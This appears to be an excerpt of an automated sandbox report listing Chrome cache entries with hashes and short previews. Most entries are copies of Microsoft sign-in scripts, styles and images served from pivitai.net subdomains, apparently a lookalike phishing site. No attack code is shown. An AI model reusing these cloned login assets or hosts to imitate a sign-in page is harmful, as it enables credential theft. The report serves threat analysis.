URL:	https://yukrtg.pivitai.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_7f0a8c2a247460fad87f.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],{528:function(e,t,r)

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	113084
Entropy (8bit):	5.285180915082997
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmchSeC2Jzc6VUWG:xkNh06VUT
MD5:	D62B4EDEB512B07ABEF4688E27ECDDE3
SHA1:	981A7825DA5E29938AB6FE0CBFE2DB622F7B8333
SHA-256:	4B01A0A34CE8ED4BC8A8713BE0442D49DA6A756236B7B4424622CA3DEE820F41
SHA-512:	6E91B285BEA8566EBB7829F592744A6706CF6498E6D5DC1C5A0EBDD0A685D767AA215B275A88568B957E6BE824AEE60521ED1D77D92A697A3CE0F446ECDCDDB9
Malicious:	false
URL:	https://yukrtg.pivitai.net/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	444219
Entropy (8bit):	5.450000083014301
Encrypted:	false
SSDEEP:	6144:x17tl9prEiKRPqNfFXQpOcNsCF18AfJ9Oxb4QZE0HfNX4TY:x1rxFXQpfSCX8z4QOU
MD5:	B83D2A085DA6F86FFA1E079AE0DC9480
SHA1:	C2032DF50E93BA51F1E926710739B8C796AA4E75
SHA-256:	F2A6AEC6BD796879BE1868ADC44CA6E22BF7BBAC484E6A2A896F09B08463D41C
SHA-512:	E01CAA97C53E5793C4D27C04D077882618FFF8924A259AFC02435D27C198FFAC2FD138051FAADA266928E94B77A786589038D76ACED8614876C625AF246040B8
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2326), with CRLF line terminators
Category:	downloaded
Size (bytes):	2328
Entropy (8bit):	5.296454986153858
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEH1LGg+suse+swsosmCWrtv:gC3Na5+GX+Ti2XsYEH1izsushswsosi
MD5:	2C1C13537042D5BAB963343B5D7A86EC
SHA1:	F6471F9961BDA0CFCA50725ED284850B65671187
SHA-256:	772D8D3D2D8931C0FF465BBCB9FD1D4F57016FA491E37874F1BB7881A58207CF
SHA-512:	703D44ECDABC2AB034FABCE45FF155B519B634C37DC1A7B7779A559D045E06FAB846EB85D2FFA0A1F2892BAEB31AA8DFC5FD7373420357D37FC5B1A8484A837D
Malicious:	false
URL:	https://dwqef.pivitai.net/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32153)
Category:	downloaded
Size (bytes):	55071
Entropy (8bit):	5.379765697692697
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3/ym+d/Px2g+0wtwGixnqTPRUbx3VDg/Mv+k:ABrkF7IyJvym+d/Pog+0wtwGiUig/MX
MD5:	976055749170B7AF7B5F38AE857A56B2
SHA1:	E3D736B8BC648B97AA403A7283ED6985A6FCF6B2
SHA-256:	190D2504B5C2EFE44DCE83474157D309A62DF8FA2B6BDF5D52B2CDDC1EB9E0D7
SHA-512:	0C6F404D513B25F6541D324243425D2D3B9C5D3BBC71D49628E9B782DDB315F4532830D4B5739EBF183A7C85DBC79A8382EBAD116272B812D9ABC79170E46AE2
Malicious:	false
URL:	https://yukrtg.pivitai.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45563)
Category:	downloaded
Size (bytes):	141331
Entropy (8bit):	5.431077703254239
Encrypted:	false
SSDEEP:	1536:5FZ5ELQbTPRUbx3jog/MhTJvRkmYWp0BSYmvIxdL/Bpns0Vgt2CTJm0wTxFojd9V:jEArg/M1Nn3vIPzDk80ZjT0qcePT3
MD5:	7A29681E178404D1BF531B75F82ADCC2
SHA1:	0AC449F1417FEFD69089B1993564B2C744C8AFE3
SHA-256:	EC4CB8590AAD908F5950EE6214ECCA29D315BE43D59FFFBECC54B460BB1936C9
SHA-512:	2B5087FD80792C6B08415F81BF1A79450DD8034CD8B31B37C83018176ECA332F6D2723D35361751EE6D47CF4D058F250D304421FA3971B55A82B77765B9D408B
Malicious:	false
URL:	https://wreg.pivitai.net/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	132
Entropy (8bit):	4.945787382366693
Encrypted:	false
SSDEEP:	3:yionv//thPnFuXf8Lts7CX9/gm6Kp0syxtuIdsvFQAahUMZ/jp:6v/lhPBR/C+aNuqsvFQA0UMpp
MD5:	3EDA15637AFEAC6078F56C9DCC9BBDB8
SHA1:	97B900884183CB8CF99BA069EEDC280C599C1B74
SHA-256:	68C66D144855BA2BC8B8BEE88BB266047367708C1E281A21B9D729B1FBD23429
SHA-512:	06B21827589FCAF63B085DB2D662737B24A39A697FF9138BDF188408647C3E90784B355F2B8390160CA487992C033CE735599271EE35873E1941812AB6C34B52
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/images/0/sprite1.mouse.png
Preview:	.PNG........IHDR...X..........x......sRGB.........gAMA......a.....pHYs..........o.d....IDATHK..1......Om.O ...j.a...\BW....IEND.B`.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
URL:	https://yukrtg.pivitai.net/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png
